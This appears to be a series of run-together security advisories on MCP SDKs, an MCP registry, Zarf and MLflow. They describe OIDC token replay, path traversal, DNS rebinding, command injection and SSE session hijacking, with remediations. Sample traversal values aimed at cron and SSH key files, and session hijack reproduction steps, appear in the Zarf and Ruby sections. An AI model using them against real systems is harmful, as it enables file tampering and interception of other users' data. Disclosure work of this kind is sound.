Overview - Verified Version: c5c4b9e8890dd5754bee889b2f1417f4fe3b5ce5 - Vulnerability Type: Authentication bypass via cross-registry OIDC token replay - Affected Location: cmd/publisher/commands/login.go:67-105,130-135,199-224; cmd/publisher/auth/github-oidc.go:24-38,58-75,108-165; internal/api/handlers/v0/auth/githuboidc.go:75-135,229-277,280-296 - Trigger Scenario: a workflow invokes mcp-publisher login github-oidc --registry <other-registry> (or equivalent publish flow) and the publisher still requests a GitHub Actions ID token with the shared audience mcp-registry; any other registry deployment running this code can replay that token to its own /v0/auth/github-oidc endpoint and mint a publish-capable registry JWT for the same GitHub owner namespace.

Root Cause The client-side and server-side GitHub OIDC flow is bound only to a global audience string, not to the specific registry instance being targeted. On the client side, the publisher always appends audience=mcp-registry when requesting the GitHub Actions ID token, regardless of the selected --registry URL. On the server side, the exchange endpoint validates only that same fixed audience and then derives publish permissions directly from repositoryowner. As a result, a token legitimately obtained while interacting with one registry deployment remains acceptable to any other deployment that shares the same code and audience string.

Source-to-Sink Chain 1. Source cmd/publisher/commands/login.go:67-105,130-135,199-224 parses the user-controlled --registry flag into flags.RegistryURL, creates a GitHubOIDCProvider, and calls authProvider.GetToken(ctx) for the chosen authentication method. 2. Propagation cmd/publisher/auth/github-oidc.go:24-38 obtains an OIDC token and immediately exchanges it against the selected registry URL. cmd/publisher/auth/github-oidc.go:58-75 builds exchangeURL := o.registryURL + "/v0/auth/github-oidc" and posts the GitHub token to whichever registry instance was selected. cmd/publisher/auth/github-oidc.go:108-165 constructs fullURL := requestURL + "&audience=mcp-registry" and therefore requests the same audience for every registry deployment. 3. Sink internal/api/handlers/v0/auth/githuboidc.go:75-135 validates only the shared audience value passed into ValidateToken. internal/api/handlers/v0/auth/githuboidc.go:254-277 calls h.validator.ValidateToken(ctx, oidcToken, "mcp-registry") and, on success, signs a new registry JWT. internal/api/handlers/v0/auth/githuboidc.go:280-296 converts claims.RepositoryOwner into the publish permission pattern io.github.<owner>/, which is then embedded into the new registry JWT.

Exploitation Preconditions 1. The victim uses the GitHub Actions OIDC publishing path. 2. The victim workflow targets another registry deployment first, such as staging, self-hosted infrastructure, or an attacker-controlled registry URL. 3. The receiving registry deployment can observe the posted OIDC token and replay it before expiry to another registry deployment running the same shared audience configuration.

Risk This breaks deployment isolation between registry instances. A token issued for one registry interaction can be replayed across trust boundaries, allowing one deployment to impersonate the same GitHub owner identity on another deployment.

Impact An attacker-controlled or compromised registry deployment can mint a valid registry JWT on another deployment and inherit publish permissions for the victim GitHub owner namespace. In practical terms, this enables unauthorized publication or update actions for names such as io.github.<owner>/ on the victim registry instance.

Remediation 1. Replace the shared audience string with a registry-specific audience, such as a deployment-specific client ID or origin-derived identifier. 2. Ensure the publisher requests the audience that matches the exact registry instance it is targeting, and ensure the server validates that same instance-specific value. 3. Consider binding the exchange to additional deployment-specific claims so that a token captured by one registry cannot be replayed on another. 4. Add regression tests that cover cross-deployment replay attempts between different registry URLs.

Impact This vulnerability impacts users of zarf package inspect sbom or zarf package inspect documentation on untrusted packages.

Patches #4793, now fixed in version v0.74.2

Workarounds Avoid inspecting unsigned packages

Description

The package inspect sbom and package inspect documentation subcommands construct output file paths by joining a user-controlled output directory with the package's Metadata.Name field, which is attacker-controlled data read from the package archive. The Metadata.Name field is validated against a regex on create, ^[a-z0-9][a-z0-9\-]$, however a malicious user could unarchive a package to change the .Metadata.Name field and the files inside the SBOMS.tar. This would lead to arbitrary file write in a location of the attackers choosing.

Neither location sanitizes or validates the package name before using it in the file path.

SBOM inspection: go outputPath := filepath.Join(o.outputDir, pkgLayout.Pkg.Metadata.Name) err = pkgLayout.GetSBOM(ctx, outputPath)

Documentation inspection (line 1219): go outputPath := filepath.Join(o.outputDir, fmt.Sprintf("%s-documentation", pkgLayout.Pkg.Metadata.Name)) return pkgLayout.GetDocumentation(ctx, outputPath, o.keys)

pkgLayout.Pkg.Metadata.Name is read directly from the untrusted package's zarf.yaml manifest. An attacker can craft a malicious Zarf package where Metadata.Name contains path traversal sequences or root paths such as ../../etc/cron.d/malicious or /home/user/.ssh/authorizedkeys.

CVSS Explainations Attack Vector Verdict: Network A malicious package could be published to OCI and inspected directly with zarf package inspect sbom oci://<bad-package>

Attack Complexity Verdict: Low It is not complicated to make and publish a malicious package. The Attacker only needs to edit the zarf.yaml and sboms.tar then edit the checksums.

Privileges Required Verdict: None The attacker is relying on the runner of zarf package inspect sbom|documentation and needs no other privileges.

User Interaction Verdict: Required The user must run the inspect command

Scope Verdict: Unchanged The vulnerability operates entirely within the permissions of the user running zarf package inspect. The file write can't escape the privilege boundary of that user

Confidentiality Verdict: None This is an arbitrary file write vulnerability. The attacker can place or overwrite files on the filesystem but the vulnerability does not provide any mechanism to read or exfiltrate data from the target system.

Integrity Verdict: High The attacker controls both the file path (via Metadata.Name) and the file content (via the SBOM or documentation files inside the archive). This allows writing attacker-controlled content to arbitrary locations on the filesystem, limited only by the permissions of the user running the inspect command. Realistic exploitation includes writing SSH authorizedkeys, cron jobs, or shell profiles.

Availability Verdict: Low The vulnerability does not directly target service availability. However, an attacker could overwrite files that cause system disruption.

Summary

The java-sdk contains a DNS rebinding vulnerability. This vulnerability allows an attacker to access a locally or network-private java-sdk MCP server via a victims browser that is either local, or network adjacent.

This allows an attacker to make any tool call to the server as if they were a locally running MCP connected AI agent.

Details

Prior to 1.0.0 no Origin header validation was occurring, in violation of the MCP specification. Base Protocol > Transports: 2.0.1 Security Warning:

1: Servers MUST validate the Origin header on all incoming connections to prevent DNS rebinding attacks.

When the web server serving HTTP traffic to the MCP server does not perform standard CORS checks, a DNS rebinding attack is possible.

Some default server configurations and frameworks come with embedded Origin header validation. MCP servers built using those are not vulnerable to this issue. For example, the following are NOT vulnerable: - Spring AI

Impact

Any developer connecting to a malicious website can inadvertently allow an attacker to make tool calls to local or private-network MCP servers.

Workarounds

Users can mitigate this risk by: 1. Running the MCP server behind a reverse proxy (like Nginx or HAProxy) configured to strictly validate the Host and Origin headers. 2. Using a framework that inherently enforces strict CORS and Origin validation (such as Spring AI).

MLflow is vulnerable to an authorization bypass affecting the AJAX endpoint used to download saved model artifacts. Due to missing access‑control validation, a user without permissions to a given experiment can directly query this endpoint and retrieve model artifacts they are not authorized to access.

This issue affects MLflow version through 3.10.1

MLflow is vulnerable to Stored Cross-Site Scripting (XSS) caused by unsafe parsing of YAML-based MLmodel artifacts in its web interface. An authenticated attacker can upload a malicious MLmodel file containing a payload that executes when another user views the artifact in the UI. This allows actions such as session hijacking or performing operations on behalf of the victim.

This issue affects MLflow version through 3.10.1

In mlflow/mlflow, the FastAPI job endpoints under /ajax-api/3.0/jobs/ are not protected by authentication or authorization when the basic-auth app is enabled. This vulnerability affects the latest version of the repository. If job execution is enabled (MLFLOWSERVERENABLEJOBEXECUTION=true) and any job function is allowlisted, any network client can submit, read, search, and cancel jobs without credentials, bypassing basic-auth entirely. This can lead to unauthenticated remote code execution if allowed jobs perform privileged actions such as shell execution or filesystem changes. Even if jobs are deemed safe, this still constitutes an authentication bypass, potentially resulting in job spam, denial of service (DoS), or data exposure in job results.

The Go MCP SDK used Go's standard encoding/json. Prior to version 1.4.0, the Model Context Protocol (MCP) Go SDK does not enable DNS rebinding protection by default for HTTP-based servers. When an HTTP-based MCP server is run on localhost without authentication with StreamableHTTPHandler or SSEHandler, a malicious website could exploit DNS rebinding to bypass same-origin policy restrictions and send requests to the local MCP server. This could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the user in those limited circumstances. This issue has been patched in version 1.4.0.

A command injection vulnerability exists in mlflow/mlflow when serving a model with enablemlserver=True. The modeluri is embedded directly into a shell command executed via bash -c without proper sanitization. If the modeluri contains shell metacharacters, such as $() or backticks, it allows for command substitution and execution of attacker-controlled commands. This vulnerability affects the latest version of mlflow/mlflow and can lead to privilege escalation if a higher-privileged service serves models from a directory writable by lower-privileged users.

Summary

Hardcoded Wildcard CORS (Access-Control-Allow-Origin: )

- https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletSseServerTransportProvider.java#L289 - https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletStreamableServerTransportProvider.java#L525

Attack Scenario An attacker-controlled web page instructs the victim's browser to open GET https://internal-mcp-server/sse. Because Access-Control-Allow-Origin: allows cross-origin SSE reads, the attacker's page receives the endpoint event — which contains the session ID. The attacker can then POST to that endpoint from their page using the victim's browser as a relay.

Comparison with python-sdk No Access-Control-Allow-Origin header is emitted by either Python transport. The browser's default same-origin policy remains in full effect. https://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/sse.py https://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/streamablehttp.py

Recommendation In the SDK, the transport layer should not own CORS policy. Server implementors who need cross-origin access can add a CORS filter at the servlet filter or Spring Security layer.

Resources

- https://cheatsheetseries.owasp.org/cheatsheets/HTTPHeadersCheatSheet.html#access-control-allow-origin

A command injection vulnerability exists in MLflow's model serving container initialization code, specifically in the installmodeldependenciestoenv() function. When deploying a model with envmanager=LOCAL, MLflow reads dependency specifications from the model artifact's pythonenv.yaml file and directly interpolates them into a shell command without sanitization. This allows an attacker to supply a malicious model artifact and achieve arbitrary command execution on systems that deploy the model. The vulnerability affects versions 3.8.0 and is fixed in version 3.8.2.

A path traversal vulnerability exists in the extractarchivetodir function within the mlflow/pyfunc/dbconnectartifactcache.py file of the mlflow/mlflow repository. This vulnerability, present in versions before v3.7.0, arises due to the lack of validation of tar member paths during extraction. An attacker with control over the tar.gz file can exploit this issue to overwrite arbitrary files or gain elevated privileges, potentially escaping the sandbox directory in multi-tenant or shared cluster environments.

Summary

The Ruby SDK's streamablehttptransport.rb implementation contains a session hijacking vulnerability. An attacker who obtains a valid session ID can completely hijack the victim's Server-Sent Events (SSE) stream and intercept all real-time data.

Details Root Cause The StreamableHTTPTransport implementation stores only one SSE stream object per session ID and lacks:

- Session-to-user identity binding - Ownership validation when establishing SSE connections - Protection against multiple simultaneous connections to the same session

PoC

Vulnerable Code

File: streamablehttptransport.rb - L336-L339:

def storestreamforsession(sessionid, stream) @mutex.synchronize do if @sessions[sessionid] @sessions[sessionid][:stream] = stream # OVERWRITES existing stream else stream.close end end end Attack Scenario Step 1: Legitimate Session Establishment POST / (initialize) → receives sessionid: "abc123" GET / with Mcp-Session-Id: abc123 → SSE stream connected Step 2: Session ID Compromise

- An attacker obtains the session ID through various means (out of scope for this analysis)

Step 3: Stream Hijacking

GET / with Mcp-Session-Id: abc123 @sessions["abc123"][:stream] = attackerstream # Victim's stream is REPLACED (silently disconnected)

Step 4: Data Interception

- ALL subsequent tool responses/notifications go to the attacker - The legitimate user receives no data and has no indication of the hijacking

Technical Details

The vulnerability happens:

Client 1 connects (GET request)

proc do |stream1| # ← Rack server provides stream1 for client 1 @sessions[sessionid][:stream] = stream1 # Stored end

Client 2 connects with SAME session ID (Attack!) proc do |stream2| # ← Rack provides stream2 for client 2 @sessions[sessionid][:stream] = stream2 # REPLACES stream1! end

Now when the server sends notifications:

@sessions[sessionid][:stream].write(data) # Goes to stream2 (attacker!) stream1 (victim) receives nothing

Comparison: Python SDK Protection

The Python SDK prevents this vulnerability by rejecting duplicate SSE connections:

Refer: https://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/streamablehttp.py#L680-L685

if GETSTREAMKEY in self.requeststreams: # pragma: no cover response = self.createerrorresponse( "Conflict: Only one SSE stream is allowed per session", HTTPStatus.CONFLICT, )

When a duplicate connection attempt is detected, the Python SDK returns an HTTP 409 Conflict error, protecting the existing connection.

Recommended Mitigations For SDK Maintainers

- Implement User Binding: All SDKs should bind session IDs to authenticated user identities where possible. Currently only, go-sdk and csharp-sdk do user binding. - Ruby SDK: Prevent Duplicate Connections: Implement checks to reject or handle multiple simultaneous connections to the same session - Improve Documentation: Provide clear guidance on secure session management implementation for SDK consumers

Steps To Reproduce:

Please find attached two python client files demonstrating the attack

Terminal 1: ruby streamablehttpserver.rb

Makes use of https://github.com/modelcontextprotocol/ruby-sdk/blob/main/examples/streamablehttpserver.rb This server has a tool call notificationtool which the clients call

Terminal 2:

python3 legitimateclientrubyserver.py

What happens:

- The client connects and prints the session ID - Press Enter to start the SSE stream - Notifications start appearing every 3 seconds as the client makes a tool call

Terminal 3 (while the legitimate client is running):

python3 attackerclientrubyserver.py <SESSIONID>

Replace <SESSIONID> with the ID from Terminal 2.

What happens immediately:

- Terminal 2 (Legitimate): Stops receiving notifications, shows disconnect message - Terminal 3 (Attacker): Starts receiving ALL the tool call responses

Impact While the absence of user binding may not pose immediate risks if session IDs are not used to store sensitive data or state, the fundamental purpose of session IDs is to maintain stateful connections. If the SDK or its consumers utilize session IDs for sensitive operations without proper user binding controls, this creates a potential security vulnerability. For example: In the case of the Ruby SDK, the attacker was able to hijack the stream and receive all the tool responses belonging to the victim. The tool responses can be sensitive confidential data.

Additional Details Session Hijacking Protection in MCP Implementations The MCP specification recommends - "MCP servers SHOULD bind session IDs to user-specific information".

Current Implementation Status Across SDKs

Of the 10 official MCP SDKs, only the following implementations bind session IDs to user-specific information:

1. csharp-sdk - https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L93-L97 2. Go-sdk - https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L281C1-L288C2

attackerclientrubyserver.py legitimateclientrubyserver.py The remaining SDKs do not implement session-to-user binding. Most implementations only verify that a session ID exists, without validating ownership. Additionally, SDK documentation does not provide clear guidance on implementing secure session management, leaving security responsibilities unclear for SDK consumers.